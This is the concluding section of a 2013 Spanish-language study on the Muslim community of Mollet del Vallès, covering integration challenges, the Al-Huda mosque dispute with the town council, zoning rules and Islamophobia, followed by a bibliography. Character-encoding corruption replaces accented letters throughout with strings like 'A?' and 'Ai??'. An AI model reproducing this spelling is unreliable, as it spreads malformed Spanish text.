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Retos principales de los musulmanes de Mollet y conclusiones

En vista de la situaciA?n cabrAi??a preguntarse si de haber habido una actitud mA?s abierta por parte del colectivo musulmA?n y una mayor implicaciA?n dentro del tejido asociativo de la ciudad se hubiera producido esta situaciA?n. La evidencia es que ninguna entidad se ha manifestado su apoyo a la comunidad musulamana que, a pesar de su creciente visibilidad, continA?a siendo una gran desconocida.

A partir del anA?lisis precedente, hemos querido poner en evidencia una seria de aspectos que, a nuestro parecer, habrAi??a que tener en cuenta con el fin de favorecer  una buena convivencia.

Nuestra pretensiA?n no es dar soluciones, sino invitar al debate.

Partiendo, sin duda, de una realidad diferente de la que se da en paAi??ses de mayorAi??a musulmana, en Mollet, como en la mayor parte de Europa, cuando hablamos de islam es difAi??cil separarlo del contexto migratorio. Es, por tanto, imposible separar los problemas del islam de los problemas de los inmigrantes originarios de paAi??ses de mayorAi??a musulmana.

Estamos, ademA?s, ante una evidencia: el islam, como creencia, y una buena parte de los inmigrantes han llegado a Mollet para quedarse. Es, por tanto, una realidad que debemos afrontar lo antes posible para evitar conflictos y problemas ulteriores y para favorecer el entendimiento y el respeto mA?tuos.

Estos son, a nuestro juicio, los principales retos que tienen que afrontar los musulmanes:

– Un mayor esfuerzo para conocer el paAi??s de acogida, su lengua, su historia, sus costumbres. A pesar de la crisis econA?mica, una buena parte de ellos permanecerA? en Mollet, siguiendo un proceso normal de sedentarizaciA?n.

Una de las principales dificultades con que nos hemos encontrado para llevar a cabo este estudio ha sido la lengua. Algunos de los imames y de los responsables de las comunidades, desconocen por completo el espaAi??ol o el catalA?n. Hay que tener en cuenta que desde que han llegado a nuestro paAi??s, todo su entorno ha estado constituAi??do por marroquAi??es o mauritanos. Incluso en sus puestos de trabajo no han tenido la necesidad de hablar espaAi??ol o catalA?n ya que la mayorAi??a de sus compaAi??eros de trabajo tenAi??an su mismo origen. En un contexto de plena ocupaciA?n no habAi??a ni tiempo ni necesidad de estudiar la lengua. Actualmente, con una tasa de paro totalmente disparada, la mayorAi??a no pueden acceder a la formaciA?n por falta de recursos. Es un pez que se muerde la cola.

Este desconocimiento de las lenguas oficiales impide la participaciA?n social y la buena comunicaciA?n con los entes oficiales y con la ciudadanAi??a en general.

– Es necesario un mayor grado de participaciA?n de las dos asociaciones dentro de la red asociativa de Mollet. Poseen un capital humano muy importante que puede aportar cosas muy positivas a toda la comunidad ciudadana. 

Si a lo largo de los aAi??os se hubieran tejido complicidades con el resto de entidades ciudadanas es muy posible que con su ayuda, el conflicto entre Al-Huda y el ayuntamiento no hubiera llegado a los extremos en que nos encontramos. 

– La mujer musulmana tiene que ser mA?s visible socialmente. Dejando de lado las polAi??micas entorno a velo, la opiniA?n que la mayorAi??a de la poblaciA?n tiene de las musulmanas es que estA?n sometidas a las A?rdenes de sus maridos y que sus A?nicas funciones se limitan al hogar. Hay que combatir estos prejuicios.

Por otra parte es insA?lita la poca presencia que tienen en las mezquitas, tanto a nivel de asistencia como dentro de las juntas.

– El nivel de conflictividad y de fracaso escolar entre los adolescentes de origen magrebAi?? es muy superior a la media. Hay que mentalizar a los padres para que cuiden y vigilen a sus hijos. Aunque no puedan ayudarles acadAi??micamente, es necesario que se interesen por sus estudios y por sus motivaciones. En este sentido, dentro del A?mbito de las mezquitas ser podrAi??a hacer un gran trabajo de sensibilizaciA?n.

– Aunque el islam confiera una fuerte identidad, los musulmanes tienen que implicarse mA?s en los problemas que afectan a todos los ciudadanos de Mollet, sean musulmanes o no. Se tiene la impresiA?n de que la mayorAi??a viven fuera del mundo real.

Pero no son sA?lo los musulmanes los que deben de cambiar sus costumbres. La poblaciA?n de Mollet, en su conjunto, tambiAi??n tiene que hacer esfuerzos importantes.

Los medios de comunicaciA?n y los mensajes polAi??ticos no invitan a tener una visiA?n positiva o, por lo menos, imparcial del islam. Se estA? extendiendo la imagen de que los musulmanes son intolerantes, cerrados y, aA?n peor, sospechosos de terrorismo.

Es indispensable que cuando se observe un/a musulmA?n/a no se vea un velo o una chilaba, sino una persona. Hay que pensar que son mA?s las cosas que nos unen que las que nos separan, a todos los niveles.

Hay que fortalecer la convivencia en los espacios comunes: la escuela, los centros de formaciA?n para adultos, los lugares de trabajo. Son sitios ideales de encuentro en los que se pueden compartir vivencias de todo tipo.

En CataluAi??a hemos tenido experiencias en lo referente a la criminalizacion del islam con fines electoralistas. Un partido abiertamente fasciscta se ha presentado en diferentes poblaciones con un discurso anti-inmigraciA?n e islamA?fobo. Aunque ha obtenido representaciA?n en un buen nA?mero de municipios, no ha sido el caso de Mollet. De todos modos su discurso ha sido asimilado por otros partidos, tanto de derechas como de izquierdas.

Pese a haber creAi??do que la inserciA?n de los musulmanes dentro de la sociedad de Mollet era casi perfecta, los A?ltimos acontecimientos en relaciA?n con la compra del nuevo local por parte de la asociaciA?n Al-Huda nos ha llevado a reconsiderar algunas opiniones que tenAi??amos a priori.

Autores como Jordi Moreras o Avi Astor relacionan los conflictos entorno a la apertura de mezquitas en CataluAi??a con la existencia de barrios construAi??dos en los aAi??os 60 del siglo pasado para acoger inmigrantes provenientes de otras zonas del estado. Es ahAi?? donde se ha ido concentrando la mayor parte de la poblaciA?n de origen magrebAi?? o subsahariano. Se trata de zonas con una fuerte personalidad, forjada a partir de la lucha antifranquista y de las reivindicaciones dirigidas a dignificar sus espacios durante la transiciA?n.

Como ya hemos dicho anteriormente, Mollet es lo que podAi??amos calificar como una ciudad Ai??compactaAi??. No encontramos barrios excesivamente marginales o perifAi??ricos. El de Plana LledA? es el que mA?s se acercarAi??a a esta categorAi??a. Fue construAi??do a principios de los 60 con el fin de resolver los dAi??ficits de alojamiento causados por las grandes olas migratorias. Se trata de viviendas bastante precarias. Si bien, cuando fueron construAi??das su emplazamiento podAi??a calificarse de perifAi??rico, con la expansiA?n urbanAi??stica de los 90 ha quedado integrado en el tejido urbano.

Es la zona de Mollet con un porcentaje mayor de poblaciA?n inmigrada, incluyendo la de origen marroquAi?? o mauritano. A pesar de ello, no hay ninguna mezquita ni oratorio. La primera mezquita fue instalada en la calle Sant Ramon 57, en el barrio de EstaciA? de FranAi??a-Can MulAi??, donde la presencia musulmana es menor y con una poblaciA?n social y econA?micamente muy mezclada.

El otro oratorio, antes de su traslado a la nave del polAi??gono de Can Prat, estaba situado en la calle DiputaciA?, en el barrio de EstaciA? del Nord, con una composiciA?n similar a la del de EstaciA? de FranAi??a-Can MulAi??.

Los dos conflictos en relaciA?n a la apertura de mezquitas han tenido causas bien distintas.

El problema con la Comunitat IslAi??mica de Mollet, estuvo protagonizado por un pequeAi??o nA?mero de vecinos. El trabajo de mediaciA?n por parte del gobierno local, en especial por la Regidoria de ConvivA?ncia, conjuntamente con la propia asociaciA?n fue de gran importancia para desactivarlo.

El actual problema con la asociaciA?n Al-Huda tiene unas connotaciones diferentes.

Al-Huda iniciA? sus actividades el aAi??o 1996 en un local de la calle Sant Ramon 57 sin que se produjera ningA?n tipo de oposiciA?n vecinal. A lo largo de estos aAi??os tampoco hemos constatado ningA?n tipo de queja. Es en el momento en que deciden trasladarse a un local mA?s grande, situado a escasos metros del actual cuando se encuentran con las protestas de un sector del vecindario y con la negativa rotunda por part del ayuntamiento.

El conflicto tiene sus raAi??ces en las malas relaciones que tienen desde hace tiempo la junta de Al-Huda y el gobierno municipal. En el origen estA? la negativa de la asociaciA?n a trasladarse a una zona industrial, contrariamente a lo que hace la otra asociaciA?n musulmana.

Consultado el plan urbanAi??stico constatamos que, efectivamente, en la zona en la que se ubica el nuevo emplazamiento de la asociaciA?n no se permiten las actividades de culto. De todos modos, es necesario remarcar que en el momento en que el gobierno informa a las dos asociaciones musulmanas que solo permitirA? la apertura de nuevas mezquitas en el polAi??gono de Can Prat, en esta zona solo estA?n permitidos los usos industriales. 

En diciembre de 2012 se realiza la enAi??sima reforma del plan que permitirA?, ocho meses despuAi??s de que la Comunitat IslAi??mica de Mollet se instale en Can Prat, la apertura de centros de culto en zonas industriales, al tiempo que se prohiben en todo el casco urbano de la ciudad.

Los ayuntamientos siempre pueden modificar las normativas urbanAi??sticas a su antojo, en beneficio o no de los intereses ciudadanos.

La postura de los vecinos es mA?s difAi??cil de entender. A?CuA?l es el motivo real de sus protestas? Hace 18 aAi??os que conviven con una mezquita en el barrio sin que haya habido nunca problema alguno.

La oposiciA?n mA?s fuerte la han protagonizado algunos propietarios del inmueble en que estA? el nuevo local. Se trata de un edificio de nueva construcciA?n en medio de un barrio construAi??do durante los aAi??os 60. Las razones esgrimidas para no aceptar una mezquita tienen tintes claramente xenA?fobos y racistas. Manifiestan que el nuevo centro acarrearA? problemas de ruAi??dos, de seguridad y de higiene (sic). AAi??aden como factor negativo que se encuentra a 100 metros de un centro escolar y delante de un parque pA?blico. Constatar que el emplazamiento original estA? justo delante de dicho inmueble y que tiene graves riesgos de seguridad (no hay ventilaciA?n ni salidas de emergencia), ademA?s, muy a menudo se supera el aforo permitido.

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DA?nde radica entonces el verdadero problema. Pensamos que hay un claro trasfondo econA?mico, aparte de los motivos xenA?fobos o racistas expresados en los comunicados. El nivel econA?mico de los que viven en estos dos edificios nuevos es superior a la media de la zona. Temen que la apertura del centro de culto dentro de su propiedad haga bajar los precios de sus viviendas. La realidad es que nunca habAi??an manifestado oposiciA?n por el hecho de tener una mezquita frente a sus casas pero no estA? dispuestos a compartir la propiedad de su inmueble con una asociaciA?n musulmana. Es un claro ejemplo de lo que los ingleses denominan efecto nimby (not in my backyard), ai???no en mi patio traseroai???.

La confluencia de intereses de los vecinos con los del ayuntamiento no es muy habitual en este tipo de conflictos. Por regla general empiezan con las quejas vecinales y los gobiernos locales actA?an de mediadores.

Pero este conflicto tiene todavAi??a otra particularidad. Es la comunidad musulmana la que inicia las protestas en la calle. Deciden hacer todas la pregarias (las cinco diarias) y tambiAi??n el tarawih (plegaria de las noches de ramadA?n) delante del edificio del Ayuntamiento.

La soluciA?n no se presenta fA?cil. Los protagonistas no han dado muestras de tener la flexibilidad necesaria para desencallar el problema. Al-Huda es oficialmente la propietaria del local. Han firmado un acuerdo de compra y no estA?n dispuestos a renunciar a sus derechos. Por otra parte, se ha reforzado la alianza entre vecinos y ayuntamiento. TambiAi??n ha saltado a la palestra un determinado grupo polAi??tico representado en el ayuntamiento con un mensaje digno de tiempos pretAi??ritos.

A partir de los trabajos del profesor Moreras, deducimos que en los conflictos alrededors de las mezquitas, los gobiernos locales, normalmente, dan la razA?n a los vecinos frente a las demandas musulmanas. En su opiniA?n, las soluciones son peores a medida que el conflicto se alarga. En el caso que nos ocupa, empezA? el dAi??a antes del ramadA?n y todavAi??a no se ha encontrado una soluciA?n satisfactoria.

Respecto a la reacciA?n de la ciudadanAi??a en su conjunto, es difAi??cil llegar a una conclusiA?n fiable. En cierto modo consideramos positivo el hecho de que hayan podido contemplar diariamente los cinco rezos. Hacer visible y transparente la actividad diaria de una mezquita puede que haya ayudado a eliminar prejuicios y a normalizar un hecho cotidiano que vivAi??a entre nosotros pero sin notoriedad pA?blica.

La sociedad catalana es una sociedad muy secularizada. La represiA?n ejercida por la Iglesia CatA?lica, de la mano del rAi??gimen dictatorial del general Franco, ha provocado que, a partir de la muerte del dictador, haya aumentado la visiA?n negativa hacia el sentimiento religioso.

Como bien subraya el profesor Moreras, el nivel de observancia religiosa es percibido como un barA?metro para medir el nivel de integraciA?n. A menor religiosidad, mayor integraciA?n y viceversa. Toda demostraciA?n pA?blica de la religiosidad tiene, pues, unas connotaciones negativas y es considerada como un paso atrA?s en el proceso hacia la modernidad y el desarrollo social y humano. Es una de las razones por las cuales hay un sentimiento contrario al islam desde sectores laicos.

Por otro lado, los sectores ultracatA?licos ven en el islam una amenaza a la esencia de una EspaAi??a y una CataluAi??a cristianas.

Una tercera parte de los marroquAi??es que viven en el estado espaAi??ol estA?n en CataluAi??a. Es tambiAi??n aquAi?? donde hay un mayor nA?mero de conflictos relacionados con la apertura de mezquitas.

SegA?n Moreras cuatro son los motivos principales:

– Una visibilidad imprevista del islam.

– La construcciA?n de modelos imaginarios de desconfianza (percepciA?n de las mezquitas como espacios de transmisiA?n de mensajes nocivos).

– ReactivaciA?n de un sentimiento de pertenencia a una sociedad Ai??autA?ctonaAi??.

– La emergencia, a nivel local, de un partido polAi??tico con un mensaje claramente racista, xenA?fobo e islalmA?fobo (Plataforma per Catalunya).

Avi Astor aAi??ada todavAi??a otro factor: la fuerte identidad nacional catalana frente a la inmigraciA?n interna de los 60 y frente a la Ai??nueva inmigraciA?n extranjeraAi??.

Estos conflictos tambiAi??n tienes que servirnos para reflexionar acerca del modelo de sociedad que queremos. A?Queremos una sociedad diversa y plural donde los valores principales sean la convivencia y el respeto a la diferencia o una sociedad cerrada en sAi?? misma donde los valores de la mayorAi??a se impongan sobre las minorAi??as?

La decisiA?n de trasladar las mezquitas a zonas industriales, muy extendida en muchas poblaciones catalanas puede ser una soluciA?n provisional pero puede provocar una sensaciA?n de marginalidad y de cerrazA?n en el seno del colectivo musulmA?n que sA?lo puede generar odio y malentendidos.

No queremos acabar este trabajo sin hacer dos citas:

Ai??Diabolizar a una sociedad entera implica marginarla y forzarla a cerrarse en sAi?? misma, provocando su radicalizaciA?nAi??. Stefano Allevi (2000).

Ai??La existencia de conflictos en el proceso de instalaciA?n del islam en CataluAi??a parecerAi??a confirmar las sospechas de que esta presencia tiene aspectos problemA?ticos. Pero, de hecho, las polAi??micas en relaciA?n a la apertura de mezquitas nos indican muy claramente que es la sociedad catalana la que tiene una relaciA?n problemAi??tica antes estas nuevas realidades en su espacio pA?blicoAi??. Jordi Moreras (2009)

SA?lo aAi??adir que el islam ha vuelto a Mollet y a CataluAi??a para quedarse.

 

Mollet del VallA?s, 21 de julio de 2013/ 11 de RamadA?n de 1434.

 

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Carles PeAi??a PeAi??a

 

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BibliografAi??a.

Moreras, Jordi, Musulmanes en Barcelona, Barcelona 1999

Moreras, Jordi, Una mesquita al barri, Barcelona 2009

Moreras, Jordi, Els imams de Catalunya, Barcelona 2007

Garreta, Jordi, Els musulmans a Catalunya, Lleida 2000

Prado, Abdennur, Ser musulmA?n en EspaAi??a, Lleida 2012

Allievi, Stefano, Mosques in Europe, London 2010

Marongiu-Perria, Omero, Le rapport Ai?? lai??i??islam des musulmans europAi??ens, UOC

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GarcAi??a-Romeral, Gloria/MartAi??nez AriAi??o, Julia, The accomodation of the funeral practises: differences between Jewish and Muslim communities in Barcelona, Barcelona 2012 

Avi Astor, Mezquita No!: the origins of mosque opposition in Spain, Barcelona 2009.

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